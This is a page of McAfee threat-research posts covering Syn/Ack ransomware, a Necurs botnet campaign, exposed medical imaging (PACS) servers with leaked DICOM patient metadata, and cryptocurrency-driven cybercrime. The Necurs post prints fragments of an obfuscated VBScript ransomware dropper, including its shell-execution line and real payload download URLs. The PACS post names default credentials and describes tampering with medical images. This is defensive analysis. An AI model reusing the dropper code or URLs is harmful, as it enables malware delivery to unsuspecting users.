Syn/Ack Unique Proactive Protection Technique

McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee p…

McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks if one of several hardcoded keyboards or languages is installed on the target machine.  If found, the malicious code will terminate, effectively resulting in an extremely simple “patch” of sorts. We have tested the following steps to be effective on several versions of Windows 7 and theoretically on Windows 10 – preventing the malware from encryption and ransom.  These steps can be taken proactively.  Due to limited scope of testing at this time, this technique may not work on all systems, release versions, and configurations.

Windows 7 – Adding Keyboard Layout:

Control Panel > Clock, Language, and Region > Region and Language > Keyboards and Languages

Click the “Change Keyboards” tab

In the Installed Services section click “add”

Select Keyboard – For example: Russian (Russia) > Keyboard > Russian

Click “Ok”

Click “Apply”

Click “Ok”

Here is the list of keyboards layouts you can add – any will suffice:

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

Windows 10 – Adding Language Support:

Control Panel > Language > Add a language

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

That’s all it takes!  Please note – this should not be considered a fully effective or long-term strategy.  It is highly likely the malware will change based on this finding; thus, we recommend the McAfee product protections referenced above for best effect.

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Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer…

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

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McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals

The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their…

The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment. Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen. Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry, I quickly began to wonder why an ultrasound of our child would not instead save to a file. Intrigued, I decided to dig into the world of medical imaging and its possible security risks. The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.

PACS

Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc. can be accessed from the various systems within their facility, or through the cloud.

A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic:

The basic elements of PACS infrastructure.

The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway. Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images. The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.

The PACS controller is the central unit coordinating all traffic among the different components. The final component in the PACS infrastructure is the database and archiving system. The system ensures that all images are correctly stored and labeled for either short- or long-term storage.

Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet. During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.

To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet. Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443. A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).

PACS systems connected to the Internet. Darker colors represent more systems.

Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits. For example, one of the PACS generated an error page when we changed one parameter. This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.

A stack-trace error.

The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.

When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response. As we queried, we recorded different responses. Let’s look at one:

\x02\x00\x00\x00\x00\xbe\x00\x01\x00\x00ANY-SCP         FINDSCU         \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x151.2.840.10008.3.1.1.1!\x00\x00\x1b\x01\x00\x00\[email protected]\x00\x00\x131.2.840.10008.1.2.1P\x00\x00>Q\x00\x00\x04\x00\[email protected]\x00R\x00\x00"1.2.826.0.1.3680043.2.135.1066.101U\x00\x00\x0c1.4.16/WIN32

 

The FINDSCU string refers to the findscu tool, which can be used to query a PACS system. The DICOM standard defines three data models for the query/retrieve service. Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model. In the preceding banner, we retrieved two of those IDs:

  • 2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer
  • 2.826.0.1.3680043.2.135.1066.101: A value referring to the implementation class

Another value in the banner, “1.4.16/WIN32,” refers to the implementation version. In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl. This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.

In other cases, there was no need to search for vulnerabilities. The management interface was wide open and could be accessed without credentials.

A PACS interface.

What does this mean? It is possible to access the images.

Vulnerabilities

In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices. As we investigated these systems, we found that our fears were well founded. One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time. We found more problems:

  • Unencrypted traffic between client and server
  • Click jacking
  • Cross-site scripting (reflected)
  • Cross-site scripting stored as cross-site request forgery
  • Document object model–based link manipulation
  • Remote creation of admin accounts
  • Disclosure of information

Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.

We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process. They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.

But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?

Medical Image Formats

The medical world uses several image formats for different purposes. Each format has different requirements and works with different equipment, protocols, etc. A few format examples:

  • NifTi Neuroimaging Informatics Technology Initiative
  • Dicom Digital Imaging and Communications in Medicine
  • MINC Medical Imaging NetCDF
  • NRRD Nearly Raw Raster Data

Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format. One example:

An open directory of images.

The DICOM format originated in the 1980s, before cybersecurity was a key component. The standard format contains a detailed list of tags such as patient name, station name, hospital, etc. All are included as metadata with the image.

Opening an image with a text editor presents the following screen:

An example of the DICOM file format.

The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.  Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.

The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files. Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).

Metadata discovered in a DICOM file.

Combining Vulnerabilities and Metadata

We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.

Our test patient record, followed by an x-ray of a knee. 

Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server. Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”

Altered metadata of the test patient image.

We then saved the picture and uploaded it to the server. Checking the records of our dummy patient, we found our changes were successful.

Changes successfully updated.

Reconstructing Body Parts

In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D. We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc. and, in one case, we reconstructed a partial face.

Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.

An example of a series of images.

After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis:

A 3D model of the pelvis.

The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs. After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.

In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer:

Our 3D model of a pelvis.

Conclusion

When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts. The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning. We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?

Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems. Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.

In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live. What if criminals could obtain that information and use it for extortion?

We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images. We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.

For organizations using a PACS, ask your vendor about its security features. Employ a proper network design in which the sharing systems are properly secured. Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.

 

For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report.

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McAfee Researchers Analyze Dark Side of Cryptocurrency Craze: Its Effect on Cybercrime

In December 2017 Bitcoin values skyrocketed, peaking at the unprecedented amount of roughly US$19,000 per coin. Unsurprisingly, the market for cryptocurrencies exploded in response. Investors, companies, and even the public found a fresh interest in di…

In December 2017 Bitcoin values skyrocketed, peaking at the unprecedented amount of roughly US$19,000 per coin. Unsurprisingly, the market for cryptocurrencies exploded in response. Investors, companies, and even the public found a fresh interest in digital currencies. However, the exciting change in Bitcoin value did not just influence your average wealth seeker. It also influenced vast underground cybercriminal markets, malware developers, and cybercriminal behavior.

Blessing and Curse

The surge of Bitcoin popularity and price per coin piqued the interest of cybercriminals, driving cryptocurrency hijacking in the last quarter of 2017. However, the same popularity and price jump also created a headache for bad actors. Ransomware techniques and the buying and selling of goods became problematic. The volatility of the Bitcoin market makes ransom costs hard to predict at the time of infection and costs can surge upwards of $28 per transaction, complicating a criminal campaign. The volatility made mining, the act of using system resources to “mint” cryptocurrency, exceedingly difficult and raised transaction prices. This was especially true for Bitcoin, due its high hash rate of the network. (The higher the hash rate, the more people they compete against.)

Cybercriminals will always seek to combine the highest returns in the shortest time with the least risk. With the Bitcoin surge, malware developers and underground markets found themselves in need of more stability, prompting a switch to other currencies and a resurgence of old techniques.

It is far easier to mine small currencies because the hash rate is generally more manageable and hardware requirements can be more accessible depending on the network design. Monero, for example, is ASIC resistant, meaning that while mining specialized hardware does not have an overwhelming advantage to nonspecialized hardware. This allows the average computer to be more effective at the task. Due to this advantage, Monero is actively mined in mass by criminals using web-based miners on the machines of unsuspecting visitors. This intrusion is known as cryptojacking, which works by hijacking the browser session to use system resources. A quick look at recent examples of cryptojacking throws light on this issue. Starting mid-2017, there have been a slew of instances in which major websites have found themselves compromised and unwittingly hosting the code, turning their users into mining bots. The public Wi-Fi at a Starbucks outlet was found to hijack browsers to mine Monero. Even streaming services such as YouTube have been affected through infected ads. Ironically, Monero is said to be one of the most private cryptocurrencies. Attacks such as these have also happened on Bitcoin, NEM, and Ethereum.

Criminals are also leveraging techniques beyond mining, such as cryptocurrency address or wallet hijacking. For example, Evrial, a Trojan for sale on underground markets, watches the Windows clipboard and replaces any cryptocurrency wallet addresses with its own malicious address. Essentially, this hijacks a user’s intended payment address to redirect funds. Unwitting users could accidentally pay a bad actor, losing their coins with essentially no chance of recovery.

A Brief Timeline

Cybercriminals have always faced the difficulty of securing their profits from government eyes. For the cybercriminal, banks present risk. If a transfer is deemed illegal or fraudulent, the bank transfer can easily be traced and seized by the bank or law enforcement. Trading in traditional currencies requires dealing with highly regulated entities that have a strong motivation to follow the rules. Any suspicious activity on their systems could easily result in the seizure of funds. Cybercriminals have long tried to solve this problem using various digital currencies, the prelude to cryptocurrencies. When cryptocurrencies were introduced to the world, cybercriminals were quick to adapt. However, with this adoption came Trojans, botnets, and other hacker activities designed specifically for the new technology.

The evolution of digital currencies. Despite various attacks from bad actors, digital money continues to evolve.

1996: E-gold appeared, and quickly became popular with cybercriminals due to its lack of verification on accounts. This was certainly welcome among “carder groups” such as ShadowCrew, which trafficked in stolen credit cards and other financial accounts. However, with three million accounts, e-gold’s popularity among criminals also caused its demise: It was taken down just 10 years later by the FBI, even after attempts in 2005 to rein in criminal activity. Accounts were seized and the founder indicted, collapsing all e-gold operations.

2005: Needing another avenue after the collapse of e-gold, cybercriminals migrated to WebMoney, established in 1998. Unlike e-gold, WebMoney successfully discouraged the bulk of cybercriminals by modifying business practices to prevent illegal activities. This kept the organization alive but pushed many cybercriminals to find a new payment system.

2006: Liberty Reserve took on much of the burgeoning cybercriminal demand. The institution got off to a rocky start with cybercriminals due to the almost immediate arrest of its founders. The company’s assets were seized in 2013—causing an estimated $6 billion in lost criminal funds.

2009: Cybercriminals were increasingly desperate for a reliable and safe payment system. Enter Bitcoin, a decentralized, pseudo-anonymous payment system built on blockchain technology. With WebMoney usage growing increasingly difficult for cybercriminals and Liberty Reserve under scrutiny from world governments, cybercriminals required something new. Within the Bitcoin network, no central authority had the power to make decisions or otherwise seize funds. These protections against centralized seizures, as well as many of its anonymity features, were a major influence in the migration of cybercriminals to Bitcoin.

Game Changers

By 2013 cybercriminals had a vested interest in cryptocurrencies, primarily Bitcoin. Cryptocurrency-related malware was in full swing, as evidenced by increasingly sophisticated botnet miner kits such as BitBot. Large enterprises such as Silk Road, primarily a drug market, thrived on the backbone of cryptocurrency popularity. Then three major events dramatically changed the way cybercriminals operated.

Silk Road closed: The popular black market and first major modern cryptocurrency “dark net” market was shut down by the FBI. The market was tailored to drug sales, and the FBI takedown left its buyers and sellers without a place to sell their goods. The migration of buyers and sellers to less restrictive markets enabled cross-sales to a much larger audience than was previously available to cybercriminals. Buyers of drugs could now also buy stolen data—including Netflix accounts or credit cards—from new markets such as AlphaBay as demand increased.

Major retailers breached: Millions of credit card records were stolen and available, raising the demand for underground markets to buy and sell the data. Dark net markets already offering malware and other goods and services took up the load. Agora, Black Market Reloaded and, shortly thereafter, AlphaBay responded to that demand. Although many of these markets were scams, a few such as AlphaBay, which survived until its July 2017 takedown, were hugely successful. Through these markets, cybercriminals had access to a much larger audience and could benefit from centralized structures and advertising. The demand for other types of stolen data rose even more, particularly streaming media accounts and personally identifiable information, which carries a high financial return for cybercriminals.

In the past, many of the credit card records were sold on forums and other specialized carding sites, such as Rescator. The new supply of credit card data was so massive, however, that it enabled secondhand sales and migration into broader markets. Dark net markets were simply more scalable than forums, thus enabling their further growth. New players joining the game now had easy access to goods, stolen data, and customers. This shift reshaped and enabled retail targeting as it exists today.

Cryptocurrency-based ransomware introduced: Outside of dark net markets, malware developers sought to acquire cryptocurrencies. Prior to 2013 the primary method to maliciously acquire coin was through mining. Less effective methods included scams, such as TOR-clone sites, fake markets, or Trojans designed to steal private keys to wallets. By late 2013 malware developers and botnet owners sold their malware at a premium by including mining software alongside the usual items such as credit cards and password scrapers. However, at a cost of around $250 per coin, Bitcoin miners did not immediately see higher profits than they could manage with focused scraper malware. Criminals needed more reliable ways of acquiring coins.

Ransomware, a potentially lucrative form of malware, was already on the rise using other digital currencies. In late 2013, the major ransomware family CryptoLocker included a new option for ransomware victims—to pay via Bitcoin. The tactic effectively created a frenzy of copycat malware. Now malware developers could outpace the profits of scraper malware as well as secure currency for the underground market. Ransomware quickly enjoyed several immensely successful campaigns, many of which, including Locky and Samsa, are still popular. Open-source tools such as Hidden Tear allowed low-skilled players to enter the market and acquire cryptocurrencies through ransomware with only limited coding knowledge. The thriving model ransomware as a service emerged with TOX, sold via a TOR hidden service in 2015.

The use of cryptocurrencies by malicious actors has grown substantially since their inception in 2009. Cryptocurrencies meet a need and have been exploited in ever-evolving ways since their introduction. The influence of cryptocurrencies on underground markets, malware development, and attackers behavior cannot be understated. As markets change and adopt cryptocurrencies, we will surely see further responses from cybercriminals.

 

Resources

https://securingtomorrow.mcafee.com/business/exploring-correlation-bitcoins-boom-evrials-capabilities/
https://securingtomorrow.mcafee.com/mcafee-labs/darknet-markets-will-outlive-alphabay-hansa-takedowns/
https://blogs.mcafee.com/mcafee-labs/weve-hacked-okay-ill-deal-next-week/
http://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q1-2014.pdf
https://securingtomorrow.mcafee.com/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/
https://www.forbes.com/sites/forbestechcouncil/2017/08/03/how-cryptocurrencies-are-fueling-ransomware-attacks-and-other-cybercrimes/2/#25d727c56144
https://threatpost.com/new-ransomware-scam-accepts-bitcoin-payment/102632/
https://www.mcafee.com/threat-center/threat-landscape-dashboard/
“Dynamic Changes in Underground Markets,” by Charles McFarland. Cyber Security Practitioner, Vol. 2, Issue 11. November 2016.
https://en.wikipedia.org/wiki/Silk_Road_(marketplace)
http://www.mcafee.com/us/resources/white-papers/wp-digital-laundry.pdf
https://en.wikipedia.org/wiki/Liberty_Reserve
https://securingtomorrow.mcafee.com/mcafee-labs/delving-deeply-into-a-bitcoin-botnet
https://arstechnica.com/tech-policy/2017/12/bitcoin-fees-rising-high/
https://www.bleepingcomputer.com/news/security/venuslocker-ransomware-gang-switches-to-monero-mining/
https://securingtomorrow.mcafee.com/mcafee-labs/malware-mines-steals-cryptocurrencies-from-victims/
https://www.theverge.com/2017/9/26/16367620/showtime-cpu-cryptocurrency-monero-coinhive
https://gizmodo.com/hackers-hijacking-cpus-to-mine-cryptocurrency-have-now-1822466650
https://techcrunch.com/2018/02/12/browsealoud-coinhive-monero-mining-hack/
https://www.fbi.gov/news/stories/alphabay-takedown
https://securingtomorrow.mcafee.com/mcafee-labs/free-ransomware-available-dark-web/
http://www.bbc.com/news/technology-42338754

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